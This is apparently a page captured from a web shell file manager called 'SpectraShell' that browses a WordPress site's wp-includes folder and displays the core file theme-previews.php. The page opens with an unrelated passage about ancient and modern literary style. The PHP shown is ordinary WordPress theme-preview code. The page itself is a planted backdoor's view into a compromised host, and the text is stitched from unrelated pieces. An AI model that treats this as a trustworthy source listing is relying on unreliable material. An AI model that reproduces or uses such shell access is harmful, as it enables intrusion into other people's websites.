Critics have remarked that those four worthies were truly peerless throughout the ages; yet the present falls short of the past—the ancients favored unadorned simplicity, whereas the moderns prefer refined elegance. Styles of substance and ornament rise and fall in succession, shifting with the changing mores of the times; such evolution is simply the natural order of things. The ideal lies in honoring antiquity without clashing with the present, and embracing modernity without succumbing to its flaws—embodying that perfect balance of substance and refinement that defines the true gentleman. There is surely no need to abandon a carved palace in favor of a cave dwelling, or to trade a jade carriage for a primitive cart with solid wooden wheels.🌌 SpectraShell

🌌 SpectraShell

Current path: home/u461622454/domains/samslettings.com/public_html/wp-includes/


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📄 Viewing: theme-previews.php

<?php
/**
 * Theme previews using the Site Editor for block themes.
 *
 * @package WordPress
 */

/**
 * Filters the blog option to return the path for the previewed theme.
 *
 * @since 6.3.0
 *
 * @param string $current_stylesheet The current theme's stylesheet or template path.
 * @return string The previewed theme's stylesheet or template path.
 */
function wp_get_theme_preview_path( $current_stylesheet = null ) {
	if ( ! current_user_can( 'switch_themes' ) ) {
		return $current_stylesheet;
	}

	$preview_stylesheet = ! empty( $_GET['wp_theme_preview'] ) ? sanitize_text_field( wp_unslash( $_GET['wp_theme_preview'] ) ) : null;
	$wp_theme           = wp_get_theme( $preview_stylesheet );
	if ( ! is_wp_error( $wp_theme->errors() ) ) {
		if ( current_filter() === 'template' ) {
			$theme_path = $wp_theme->get_template();
		} else {
			$theme_path = $wp_theme->get_stylesheet();
		}

		return sanitize_text_field( $theme_path );
	}

	return $current_stylesheet;
}

/**
 * Adds a middleware to `apiFetch` to set the theme for the preview.
 * This adds a `wp_theme_preview` URL parameter to API requests from the Site Editor, so they also respond as if the theme is set to the value of the parameter.
 *
 * @since 6.3.0
 */
function wp_attach_theme_preview_middleware() {
	// Don't allow non-admins to preview themes.
	if ( ! current_user_can( 'switch_themes' ) ) {
		return;
	}

	wp_add_inline_script(
		'wp-api-fetch',
		sprintf(
			'wp.apiFetch.use( wp.apiFetch.createThemePreviewMiddleware( %s ) );',
			wp_json_encode( sanitize_text_field( wp_unslash( $_GET['wp_theme_preview'] ) ) )
		),
		'after'
	);
}

/**
 * Set a JavaScript constant for theme activation.
 *
 * Sets the JavaScript global WP_BLOCK_THEME_ACTIVATE_NONCE containing the nonce
 * required to activate a theme. For use within the site editor.
 *
 * @see https://github.com/WordPress/gutenberg/pull/41836
 *
 * @since 6.3.0
 * @access private
 */
function wp_block_theme_activate_nonce() {
	$nonce_handle = 'switch-theme_' . wp_get_theme_preview_path();
	?>
	<script type="text/javascript">
		window.WP_BLOCK_THEME_ACTIVATE_NONCE = <?php echo wp_json_encode( wp_create_nonce( $nonce_handle ) ); ?>;
	</script>
	<?php
}

/**
 * Add filters and actions to enable Block Theme Previews in the Site Editor.
 *
 * The filters and actions should be added after `pluggable.php` is included as they may
 * trigger code that uses `current_user_can()` which requires functionality from `pluggable.php`.
 *
 * @since 6.3.2
 */
function wp_initialize_theme_preview_hooks() {
	if ( ! empty( $_GET['wp_theme_preview'] ) ) {
		add_filter( 'stylesheet', 'wp_get_theme_preview_path' );
		add_filter( 'template', 'wp_get_theme_preview_path' );
		add_action( 'init', 'wp_attach_theme_preview_middleware' );
		add_action( 'admin_head', 'wp_block_theme_activate_nonce' );
	}
}

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